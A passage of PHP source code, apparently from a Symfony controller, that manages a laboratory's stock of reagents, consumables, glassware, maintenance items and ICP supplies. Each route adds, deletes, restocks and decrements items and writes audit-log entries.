  2238. $response->setStatusCode(200);
  2239. $response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
  2240. $response->headers->set('Content-Disposition', 'attachment; filename="' . $filename . '"');
  2241. return $response;
  2242. }
  2243. //=====================================================================================================================================================================================<
  2244. /**
  2245. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2246. * @param Request $request
  2247. * @Route("/stock", name="stock")
  2248. * @return Response $response
  2249. */
  2250. public function stock(Request $request, SluggerInterface $slugger)
  2251. {
  2252. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2253. 'type' => 'Reagent'
  2254. ]);
  2255. if ( $request->getMethod() == "POST" ) {
  2256. $data = $request->request->all();
  2257. if (null !== $request->get('addnew')){
  2258. if ($data) {
  2259. $info = $data['entry'];
  2260. $entry = new Stock();
  2261. $entry->setStockname($info['name'])
  2262. ->setQty((float)$info['qty'])
  2263. ->setLow((float)$info['low'])
  2264. ->setCritical((float)$info['critical'])
  2265. ->setComment($info['comment'])
  2266. ->setSupplier($info['supplier'])
  2267. ->setDatemodified(new \DateTime($info['datemodified']))
  2268. ->setUnits($info['units'])
  2269. ->setType("Reagent");
  2270. $this->em->persist($entry);
  2271. $this->em->flush();
  2272. // Create a new StockManagement entry when adding new entry
  2273. $mgmt = new StockManagement();
  2274. $mgmt->setStockId($entry->getId());
  2275. $mgmt->setStockName($entry->getStockname());
  2276. $mgmt->setSupplier($entry->getSupplier());
  2277. $mgmt->setComment($entry->getComment());
  2278. $mgmt->setStockType($entry->getType());
  2279. $mgmt->setActionType('Add new');
  2280. $mgmt->setQuantity($entry->getQty());
  2281. $mgmt->setTotalQuantity($entry->getQty());
  2282. $mgmt->setDate(new \Datetime());
  2283. $this->em->persist($mgmt);
  2284. $this->em->flush();
  2285. return $this->redirect($this->generateUrl('stock'));
  2286. }
  2287. }
  2288. if (null !== $request->get('delete')){
  2289. if ($data) {
  2290. $info = $data['entryid'];
  2291. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2292. 'id' => $info
  2293. ]);
  2294. // Create a new StockManagement entry when deleting
  2295. $mgmt = new StockManagement();
  2296. $mgmt->setStockId($entry->getId());
  2297. $mgmt->setStockName($entry->getStockname());
  2298. $mgmt->setSupplier($entry->getSupplier());
  2299. $mgmt->setComment($entry->getComment());
  2300. $mgmt->setStockType($entry->getType());
  2301. $mgmt->setActionType('Delete');
  2302. $mgmt->setQuantity(0);
  2303. $mgmt->setTotalQuantity($entry->getQty());
  2304. $mgmt->setDate(new \Datetime());
  2305. $this->removeStockPhotoFile($entry->getItemPhoto());
  2306. $this->removeStockPhotoFile($entry->getPackagePhoto());
  2307. $this->em->remove($entry);
  2308. $this->em->persist($mgmt);
  2309. $this->em->flush();
  2310. return $this->redirect($this->generateUrl('stock'));
  2311. }
  2312. }
  2313. if (null !== $request->get('restock')){
  2314. if ($data) {
  2315. $info = $data['entry'];
  2316. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2317. 'id' => $data['entryid']
  2318. ]);
  2319. $entry->setQty($entry->getQty()+(float)$data['entry']['qty'])
  2320. ->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2321. ->setLow((float)$info['low'])
  2322. ->setCritical((float)$info['critical'])
  2323. ->setStockname($info['name'])
  2324. ->setSupplier($info['supplier'])
  2325. ->setComment($info['comment'])
  2326. ->setUnits($info['units'])
  2327. ->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2328. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  2329. // Create a new StockManagement entry when restocking
  2330. $mgmt = new StockManagement();
  2331. $mgmt->setStockId($entry->getId());
  2332. $mgmt->setStockName($entry->getStockname());
  2333. $mgmt->setSupplier($entry->getSupplier());
  2334. $mgmt->setComment($entry->getComment());
  2335. $mgmt->setStockType($entry->getType());
  2336. $mgmt->setActionType('Restock');
  2337. $mgmt->setQuantity((float)$data['entry']['qty']);
  2338. $mgmt->setTotalQuantity($entry->getQty());
  2339. $mgmt->setDate(new \Datetime());
  2340. $this->em->persist($entry);
  2341. $this->em->persist($mgmt);
  2342. $this->em->flush();
  2343. return $this->redirect($this->generateUrl('stock'));
  2344. }
  2345. }
  2346. if (null !== $request->get('takeone')){
  2347. if ($data) {
  2348. $info = $data['entryid'];
  2349. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2350. 'id' => $data['entryid']
  2351. ]);
  2352. $entry->setQty($entry->getQty() - 1);
  2353. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2354. // Create a new StockManagement entry when taking one
  2355. $mgmt = new StockManagement();
  2356. $mgmt->setStockId($entry->getId());
  2357. $mgmt->setStockName($entry->getStockname());
  2358. $mgmt->setSupplier($entry->getSupplier());
  2359. $mgmt->setComment($entry->getComment());
  2360. $mgmt->setStockType($entry->getType());
  2361. $mgmt->setActionType('Take One');
  2362. $mgmt->setQuantity(-1);
  2363. $mgmt->setTotalQuantity($entry->getQty());
  2364. $mgmt->setDate(new \Datetime());
  2365. $this->em->persist($entry);
  2366. $this->em->persist($mgmt);
  2367. $this->em->flush();
  2368. return $this->redirect($this->generateUrl('stock'));
  2369. }
  2370. }
  2371. // Handle 'orderstatus' checkbox change
  2372. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2373. $entryId = $data['entryid'];
  2374. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2375. // Find the Stock entry by ID
  2376. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2377. 'id' => $entryId
  2378. ]);
  2379. if ($entry) {
  2380. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2381. $this->em->persist($entry);
  2382. $this->em->flush();
  2383. return $this->redirect($this->generateUrl('stock'));
  2384. }
  2385. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2386. }
  2387. }
  2388. return $this->render('cats/stock.html.twig',[
  2389. 'stock' => $stock
  2390. ]);
  2391. }
  2392. //=====================================================================================================================================================================================<
  2393. /**
  2394. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2395. * @param Request $request
  2396. * @Route("/stockconsume", name="stockconsume")
  2397. * @return Response $response
  2398. */
  2399. public function stockconsume(Request $request, SluggerInterface $slugger)
  2400. {
  2401. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2402. 'type' => 'Consumable'
  2403. ]);
  2404. if ( $request->getMethod() == "POST" ) {
  2405. $data = $request->request->all();
  2406. if (null !== $request->get('addnew')){
  2407. if ($data) {
  2408. $info = $data['entry'];
  2409. $entry = new Stock();
  2410. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2411. ->setLow((float)$info['low'])
  2412. ->setCritical((float)$info['critical']);
  2413. $entry->setComment($info['comment']);
  2414. $entry->setSupplier($info['supplier']);
  2415. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2416. $entry->setUnits($info['units']);
  2417. $entry->setType("Consumable");
  2418. $this->em->persist($entry);
  2419. $this->em->flush();
  2420. // Create a new StockManagement entry when adding new entry
  2421. $mgmt = new StockManagement();
  2422. $mgmt->setStockId($entry->getId());
  2423. $mgmt->setStockName($entry->getStockname());
  2424. $mgmt->setSupplier($entry->getSupplier());
  2425. $mgmt->setComment($entry->getComment());
  2426. $mgmt->setStockType($entry->getType());
  2427. $mgmt->setActionType('Add new');
  2428. $mgmt->setQuantity($entry->getQty());
  2429. $mgmt->setTotalQuantity($entry->getQty());
  2430. $mgmt->setDate(new \Datetime());
  2431. $this->em->persist($mgmt);
  2432. $this->em->flush();
  2433. return $this->redirect($this->generateUrl('stockconsume'));
  2434. }
  2435. }
  2436. if (null !== $request->get('delete')){
  2437. if ($data) {
  2438. $info = $data['entryid'];
  2439. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2440. 'id' => $info
  2441. ]);
  2442. // Create a new StockManagement entry when deleting
  2443. $mgmt = new StockManagement();
  2444. $mgmt->setStockId($entry->getId());
  2445. $mgmt->setStockName($entry->getStockname());
  2446. $mgmt->setSupplier($entry->getSupplier());
  2447. $mgmt->setComment($entry->getComment());
  2448. $mgmt->setStockType($entry->getType());
  2449. $mgmt->setActionType('Delete');
  2450. $mgmt->setQuantity(0);
  2451. $mgmt->setTotalQuantity($entry->getQty());
  2452. $mgmt->setDate(new \Datetime());
  2453. $this->removeStockPhotoFile($entry->getItemPhoto());
  2454. $this->removeStockPhotoFile($entry->getPackagePhoto());
  2455. $this->em->remove($entry);
  2456. $this->em->persist($mgmt);
  2457. $this->em->flush();
  2458. return $this->redirect($this->generateUrl('stockconsume'));
  2459. }
  2460. }
  2461. if (null !== $request->get('restock')){
  2462. if ($data) {
  2463. $info = $data['entry'];
  2464. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2465. 'id' => $data['entryid']
  2466. ]);
  2467. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2468. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2469. ->setLow((float)$info['low'])
  2470. ->setCritical((float)$info['critical']);
  2471. $entry->setStockname($info['name']);
  2472. $entry->setSupplier($info['supplier']);
  2473. $entry->setComment($info['comment']);
  2474. $entry->setUnits($info['units']);
  2475. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2476. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  2477. // Create a new StockManagement entry when restocking
  2478. $mgmt = new StockManagement();
  2479. $mgmt->setStockId($entry->getId());
  2480. $mgmt->setStockName($entry->getStockname());
  2481. $mgmt->setSupplier($entry->getSupplier());
  2482. $mgmt->setComment($entry->getComment());
  2483. $mgmt->setStockType($entry->getType());
  2484. $mgmt->setActionType('Restock');
  2485. $mgmt->setQuantity((float)$data['entry']['qty']);
  2486. $mgmt->setTotalQuantity($entry->getQty());
  2487. $mgmt->setDate(new \Datetime());
  2488. $this->em->persist($entry);
  2489. $this->em->persist($mgmt);
  2490. $this->em->flush();
  2491. return $this->redirect($this->generateUrl('stockconsume'));
  2492. }
  2493. }
  2494. if (null !== $request->get('takeone')){
  2495. if ($data) {
  2496. $info = $data['entryid'];
  2497. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2498. 'id' => $data['entryid']
  2499. ]);
  2500. $entry->setQty($entry->getQty() - 1);
  2501. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2502. // Create a new StockManagement entry when taking one
  2503. $mgmt = new StockManagement();
  2504. $mgmt->setStockId($entry->getId());
  2505. $mgmt->setStockName($entry->getStockname());
  2506. $mgmt->setSupplier($entry->getSupplier());
  2507. $mgmt->setComment($entry->getComment());
  2508. $mgmt->setStockType($entry->getType());
  2509. $mgmt->setActionType('Take One');
  2510. $mgmt->setQuantity(-1);
  2511. $mgmt->setTotalQuantity($entry->getQty());
  2512. $mgmt->setDate(new \Datetime());
  2513. $this->em->persist($entry);
  2514. $this->em->persist($mgmt);
  2515. $this->em->flush();
  2516. return $this->redirect($this->generateUrl('stockconsume'));
  2517. }
  2518. }
  2519. // Handle 'orderstatus' checkbox change
  2520. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2521. $entryId = $data['entryid'];
  2522. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2523. // Find the Stock entry by ID
  2524. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2525. 'id' => $entryId
  2526. ]);
  2527. if ($entry) {
  2528. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2529. $this->em->persist($entry);
  2530. $this->em->flush();
  2531. return $this->redirect($this->generateUrl('stockconsume'));
  2532. }
  2533. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2534. }
  2535. }
  2536. return $this->render('cats/stockconsume.html.twig',[
  2537. 'stock' => $stock
  2538. ]);
  2539. }
  2540. //=====================================================================================================================================================================================<
  2541. /**
  2542. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2543. * @param Request $request
  2544. * @Route("/equipstock", name="equipstock")
  2545. * @return Response $response
  2546. */
  2547. public function equipstock(Request $request, SluggerInterface $slugger)
  2548. {
  2549. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2550. 'type' => 'Glass'
  2551. ]);
  2552. if ( $request->getMethod() == "POST" ) {
  2553. $data = $request->request->all();
  2554. if (null !== $request->get('addnew')){
  2555. if ($data) {
  2556. $info = $data['entry'];
  2557. $entry = new Stock();
  2558. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2559. ->setLow((float)$info['low'])
  2560. ->setCritical((float)$info['critical']);
  2561. $entry->setComment($info['comment']);
  2562. $entry->setSupplier($info['supplier']);
  2563. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2564. $entry->setUnits($info['units']);
  2565. $entry->setType("Glass");
  2566. $this->em->persist($entry);
  2567. $this->em->flush();
  2568. // Create a new StockManagement entry when adding new entry
  2569. $mgmt = new StockManagement();
  2570. $mgmt->setStockId($entry->getId());
  2571. $mgmt->setStockName($entry->getStockname());
  2572. $mgmt->setSupplier($entry->getSupplier());
  2573. $mgmt->setComment($entry->getComment());
  2574. $mgmt->setStockType($entry->getType());
  2575. $mgmt->setActionType('Add new');
  2576. $mgmt->setQuantity($entry->getQty());
  2577. $mgmt->setTotalQuantity($entry->getQty());
  2578. $mgmt->setDate(new \Datetime());
  2579. $this->em->persist($mgmt);
  2580. $this->em->flush();
  2581. return $this->redirect($this->generateUrl('equipstock'));
  2582. }
  2583. }
  2584. if (null !== $request->get('delete')){
  2585. if ($data) {
  2586. $info = $data['entryid'];
  2587. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2588. 'id' => $info
  2589. ]);
  2590. // Create a new StockManagement entry when deleting
  2591. $mgmt = new StockManagement();
  2592. $mgmt->setStockId($entry->getId());
  2593. $mgmt->setStockName($entry->getStockname());
  2594. $mgmt->setSupplier($entry->getSupplier());
  2595. $mgmt->setComment($entry->getComment());
  2596. $mgmt->setStockType($entry->getType());
  2597. $mgmt->setActionType('Delete');
  2598. $mgmt->setQuantity(0);
  2599. $mgmt->setTotalQuantity($entry->getQty());
  2600. $mgmt->setDate(new \Datetime());
  2601. $this->removeStockPhotoFile($entry->getItemPhoto());
  2602. $this->removeStockPhotoFile($entry->getPackagePhoto());
  2603. $this->em->remove($entry);
  2604. $this->em->persist($mgmt);
  2605. $this->em->flush();
  2606. return $this->redirect($this->generateUrl('equipstock'));
  2607. }
  2608. }
  2609. if (null !== $request->get('restock')){
  2610. if ($data) {
  2611. $info = $data['entry'];
  2612. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2613. 'id' => $data['entryid']
  2614. ]);
  2615. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2616. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2617. ->setLow((float)$info['low'])
  2618. ->setCritical((float)$info['critical']);
  2619. $entry->setStockname($info['name']);
  2620. $entry->setSupplier($info['supplier']);
  2621. $entry->setComment($info['comment']);
  2622. $entry->setUnits($info['units']);
  2623. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2624. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  2625. // Create a new StockManagement entry when restocking
  2626. $mgmt = new StockManagement();
  2627. $mgmt->setStockId($entry->getId());
  2628. $mgmt->setStockName($entry->getStockname());
  2629. $mgmt->setSupplier($entry->getSupplier());
  2630. $mgmt->setComment($entry->getComment());
  2631. $mgmt->setStockType($entry->getType());
  2632. $mgmt->setActionType('Restock');
  2633. $mgmt->setQuantity((float)$data['entry']['qty']);
  2634. $mgmt->setTotalQuantity($entry->getQty());
  2635. $mgmt->setDate(new \Datetime());
  2636. $this->em->persist($entry);
  2637. $this->em->persist($mgmt);
  2638. $this->em->flush();
  2639. return $this->redirect($this->generateUrl('equipstock'));
  2640. }
  2641. }
  2642. if (null !== $request->get('takeone')){
  2643. if ($data) {
  2644. $info = $data['entryid'];
  2645. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2646. 'id' => $data['entryid']
  2647. ]);
  2648. $entry->setQty($entry->getQty() - 1);
  2649. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2650. // Create a new StockManagement entry when taking one
  2651. $mgmt = new StockManagement();
  2652. $mgmt->setStockId($entry->getId());
  2653. $mgmt->setStockName($entry->getStockname());
  2654. $mgmt->setSupplier($entry->getSupplier());
  2655. $mgmt->setComment($entry->getComment());
  2656. $mgmt->setStockType($entry->getType());
  2657. $mgmt->setActionType('Take One');
  2658. $mgmt->setQuantity(-1);
  2659. $mgmt->setTotalQuantity($entry->getQty());
  2660. $mgmt->setDate(new \Datetime());
  2661. $this->em->persist($entry);
  2662. $this->em->persist($mgmt);
  2663. $this->em->flush();
  2664. return $this->redirect($this->generateUrl('equipstock'));
  2665. }
  2666. }
  2667. // Handle 'orderstatus' checkbox change
  2668. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2669. $entryId = $data['entryid'];
  2670. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2671. // Find the Stock entry by ID
  2672. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2673. 'id' => $entryId
  2674. ]);
  2675. if ($entry) {
  2676. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2677. $this->em->persist($entry);
  2678. $this->em->flush();
  2679. return $this->redirect($this->generateUrl('equipstock'));
  2680. }
  2681. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2682. }
  2683. }
  2684. return $this->render('cats/equipstock.html.twig',[
  2685. 'stock' => $stock
  2686. ]);
  2687. }
  2688. //=====================================================================================================================================================================================<
  2689. /**
  2690. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2691. * @param Request $request
  2692. * @Route("/stockMaintenance", name="stockMaintenance")
  2693. * @return Response $response
  2694. */
  2695. public function stockMaintenance(Request $request, SluggerInterface $slugger)
  2696. {
  2697. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2698. 'type' => 'Maintenance'
  2699. ]);
  2700. if ( $request->getMethod() == "POST" ) {
  2701. $data = $request->request->all();
  2702. if (null !== $request->get('addnew')){
  2703. if ($data) {
  2704. $info = $data['entry'];
  2705. $entry = new Stock();
  2706. $entry->setStockname($info['name'])
  2707. ->setSupplier($info['supplier'])
  2708. ->setFault($info['fault'])
  2709. ->setUnits($info['units'])
  2710. ->setQty(1)
  2711. ->setComment($info['comment'])
  2712. ->setDatemodified(new \DateTime($info['datemodified']))
  2713. ->setType("Maintenance");
  2714. $this->em->persist($entry);
  2715. $this->em->flush();
  2716. return $this->redirect($this->generateUrl('stockMaintenance'));
  2717. }
  2718. }
  2719. if (null !== $request->get('delete')){
  2720. if ($data) {
  2721. $info = $data['entryid'];
  2722. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2723. 'id' => $info
  2724. ]);
  2725. $this->removeStockPhotoFile($entry->getItemPhoto());
  2726. $this->removeStockPhotoFile($entry->getPackagePhoto());
  2727. $this->em->remove($entry);
  2728. $this->em->flush();
  2729. return $this->redirect($this->generateUrl('stockMaintenance'));
  2730. }
  2731. }
  2732. if (null !== $request->get('restock')){
  2733. if ($data) {
  2734. $info = $data['entry'];
  2735. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2736. 'id' => $data['entryid']
  2737. ]);
  2738. $entry->setDatemodified(new \DateTime());
  2739. $entry->setStockname($info['name']);
  2740. $entry->setFault($info['fault']);
  2741. $entry->setSupplier($info['supplier']);
  2742. $entry->setComment($info['comment']);
  2743. $entry->setUnits($info['units']);
  2744. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  2745. $this->em->persist($entry);
  2746. $this->em->flush();
  2747. return $this->redirect($this->generateUrl('stockMaintenance'));
  2748. }
  2749. }
  2750. }
  2751. return $this->render('cats/stockMaintenance.html.twig',[
  2752. 'stock' => $stock
  2753. ]);
  2754. }
  2755. //=====================================================================================================================================================================================<
  2756. /**
  2757. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2758. * @param Request $request
  2759. * @Route("/icpstock", name="icpstock")
  2760. * @return Response $response
  2761. */
  2762. public function icpstock(Request $request, SluggerInterface $slugger)
  2763. {
  2764. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2765. 'type' => 'ICP'
  2766. ]);
  2767. if ( $request->getMethod() == "POST" ) {
  2768. $data = $request->request->all();
  2769. if (null !== $request->get('addnew')){
  2770. if ($data) {
  2771. $info = $data['entry'];
  2772. $entry = new Stock();
  2773. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2774. ->setLow((float)$info['low'])
  2775. ->setCritical((float)$info['critical']);
  2776. $entry->setComment($info['comment']);
  2777. $entry->setSupplier($info['supplier']);
  2778. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2779. $entry->setUnits($info['units']);
  2780. $entry->setType("ICP");
  2781. $this->em->persist($entry);
  2782. $this->em->flush();
  2783. // Create a new StockManagement entry when adding new entry
  2784. $mgmt = new StockManagement();
  2785. $mgmt->setStockId($entry->getId());
  2786. $mgmt->setStockName($entry->getStockname());
  2787. $mgmt->setSupplier($entry->getSupplier());
  2788. $mgmt->setComment($entry->getComment());
  2789. $mgmt->setStockType($entry->getType());
  2790. $mgmt->setActionType('Add new');
  2791. $mgmt->setQuantity($entry->getQty());
  2792. $mgmt->setTotalQuantity($entry->getQty());
  2793. $mgmt->setDate(new \Datetime());
  2794. $this->em->persist($mgmt);
  2795. $this->em->flush();
  2796. return $this->redirect($this->generateUrl('icpstock'));
  2797. }
  2798. }
  2799. if (null !== $request->get('delete')){
  2800. if ($data) {
  2801. $info = $data['entryid'];
  2802. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2803. 'id' => $info
  2804. ]);
  2805. // Create a new StockManagement entry when deleting
  2806. $mgmt = new StockManagement();
  2807. $mgmt->setStockId($entry->getId());
  2808. $mgmt->setStockName($entry->getStockname());
  2809. $mgmt->setSupplier($entry->getSupplier());
  2810. $mgmt->setComment($entry->getComment());
  2811. $mgmt->setStockType($entry->getType());
  2812. $mgmt->setActionType('Delete');
  2813. $mgmt->setQuantity(0);
  2814. $mgmt->setTotalQuantity($entry->getQty());
  2815. $mgmt->setDate(new \Datetime());
  2816. $this->removeStockPhotoFile($entry->getItemPhoto());
  2817. $this->removeStockPhotoFile($entry->getPackagePhoto());
  2818. $this->em->remove($entry);
  2819. $this->em->persist($mgmt);
  2820. $this->em->flush();
  2821. return $this->redirect($this->generateUrl('icpstock'));
  2822. }
  2823. }
  2824. if (null !== $request->get('restock')){
  2825. if ($data) {
  2826. $info = $data['entry'];
  2827. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2828. 'id' => $data['entryid']
  2829. ]);
  2830. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2831. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2832. ->setLow((float)$info['low'])
  2833. ->setCritical((float)$info['critical']);
  2834. $entry->setStockname($info['name']);
  2835. $entry->setSupplier($info['supplier']);
  2836. $entry->setComment($info['comment']);
  2837. $entry->setUnits($info['units']);
  2838. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2839. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  2840. // Create a new StockManagement entry when restocking
  2841. $mgmt = new StockManagement();
  2842. $mgmt->setStockId($entry->getId());
  2843. $mgmt->setStockName($entry->getStockname());
  2844. $mgmt->setSupplier($entry->getSupplier());
  2845. $mgmt->setComment($entry->getComment());
  2846. $mgmt->setStockType($entry->getType());
  2847. $mgmt->setActionType('Restock');
  2848. $mgmt->setQuantity((float)$data['entry']['qty']);
  2849. $mgmt->setTotalQuantity($entry->getQty());
  2850. $mgmt->setDate(new \Datetime());
  2851. $this->em->persist($entry);
  2852. $this->em->persist($mgmt);
  2853. $this->em->flush();
  2854. return $this->redirect($this->generateUrl('icpstock'));
  2855. }
  2856. }
  2857. if (null !== $request->get('takeone')){
  2858. if ($data) {
  2859. $info = $data['entryid'];
  2860. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2861. 'id' => $data['entryid']
  2862. ]);
  2863. $entry->setQty($entry->getQty() - 1);
  2864. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2865. // Create a new StockManagement entry when taking one
  2866. $mgmt = new StockManagement();
  2867. $mgmt->setStockId($entry->getId());
  2868. $mgmt->setStockName($entry->getStockname());
  2869. $mgmt->setSupplier($entry->getSupplier());
  2870. $mgmt->setComment($entry->getComment());
  2871. $mgmt->setStockType($entry->getType());
  2872. $mgmt->setActionType('Take One');
  2873. $mgmt->setQuantity(-1);
  2874. $mgmt->setTotalQuantity($entry->getQty());
  2875. $mgmt->setDate(new \Datetime());
  2876. $this->em->persist($entry);
  2877. $this->em->persist($mgmt);
  2878. $this->em->flush();
  2879. return $this->redirect($this->generateUrl('icpstock'));
  2880. }
  2881. }
  2882. // Handle 'orderstatus' checkbox change
  2883. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2884. $entryId = $data['entryid'];
  2885. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2886. // Find the Stock entry by ID
  2887. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2888. 'id' => $entryId
  2889. ]);
  2890. if ($entry) {
  2891. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2892. $this->em->persist($entry);
  2893. $this->em->flush();
  2894. return $this->redirect($this->generateUrl('icpstock'));
  2895. }
  2896. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2897. }
  2898. }
  2899. return $this->render('cats/icpstock.html.twig',[
  2900. 'stock' => $stock
  2901. ]);
  2902. }
  2903. //=====================================================================================================================================================================================<
  2904. /**
  2905. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2906. * @param Request $request
  2907. * @Route("/icpstandardstock", name="icpstandardstock")
  2908. * @return Response $response
  2909. */
  2910. public function icpstandardstock(Request $request, SluggerInterface $slugger)
  2911. {
  2912. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2913. 'type' => 'ICP Standard'
  2914. ]);
  2915. if ( $request->getMethod() == "POST" ) {
  2916. $data = $request->request->all();
  2917. if (null !== $request->get('addnew')){
  2918. if ($data) {
  2919. $info = $data['entry'];
  2920. $entry = new Stock();
  2921. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2922. ->setLow((float)$info['low'])
  2923. ->setCritical((float)$info['critical']);
  2924. $entry->setComment($info['comment']);
  2925. $entry->setSupplier($info['supplier']);
  2926. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2927. $entry->setUnits($info['units']);
  2928. $entry->setType("ICP Standard");
  2929. $this->em->persist($entry);
  2930. $this->em->flush();
  2931. // Create a new StockManagement entry when adding new entry
  2932. $mgmt = new StockManagement();
  2933. $mgmt->setStockId($entry->getId());
  2934. $mgmt->setStockName($entry->getStockname());
  2935. $mgmt->setSupplier($entry->getSupplier());
  2936. $mgmt->setComment($entry->getComment());
  2937. $mgmt->setStockType($entry->getType());
  2938. $mgmt->setActionType('Add new');
  2939. $mgmt->setQuantity($entry->getQty());
  2940. $mgmt->setTotalQuantity($entry->getQty());
  2941. $mgmt->setDate(new \Datetime());
  2942. $this->em->persist($mgmt);
  2943. $this->em->flush();
  2944. return $this->redirect($this->generateUrl('icpstandardstock'));
  2945. }
  2946. }
  2947. if (null !== $request->get('delete')){
  2948. if ($data) {
  2949. $info = $data['entryid'];
  2950. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2951. 'id' => $info
  2952. ]);
  2953. // Create a new StockManagement entry when deleting
  2954. $mgmt = new StockManagement();
  2955. $mgmt->setStockId($entry->getId());
  2956. $mgmt->setStockName($entry->getStockname());
  2957. $mgmt->setSupplier($entry->getSupplier());
  2958. $mgmt->setComment($entry->getComment());
  2959. $mgmt->setStockType($entry->getType());
  2960. $mgmt->setActionType('Delete');
  2961. $mgmt->setQuantity(0);
  2962. $mgmt->setTotalQuantity($entry->getQty());
  2963. $mgmt->setDate(new \Datetime());
  2964. $this->removeStockPhotoFile($entry->getItemPhoto());
  2965. $this->removeStockPhotoFile($entry->getPackagePhoto());
  2966. $this->em->remove($entry);
  2967. $this->em->persist($mgmt);
  2968. $this->em->flush();
  2969. return $this->redirect($this->generateUrl('icpstandardstock'));
  2970. }
  2971. }
  2972. if (null !== $request->get('restock')){
  2973. if ($data) {
  2974. $info = $data['entry'];
  2975. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2976. 'id' => $data['entryid']
  2977. ]);
  2978. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2979. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2980. ->setLow((float)$info['low'])
  2981. ->setCritical((float)$info['critical']);
  2982. $entry->setStockname($info['name']);
  2983. $entry->setSupplier($info['supplier']);
  2984. $entry->setComment($info['comment']);
  2985. $entry->setUnits($info['units']);
  2986. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2987. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  2988. // Create a new StockManagement entry when restocking
  2989. $mgmt = new StockManagement();
  2990. $mgmt->setStockId($entry->getId());
  2991. $mgmt->setStockName($entry->getStockname());
  2992. $mgmt->setSupplier($entry->getSupplier());
  2993. $mgmt->setComment($entry->getComment());
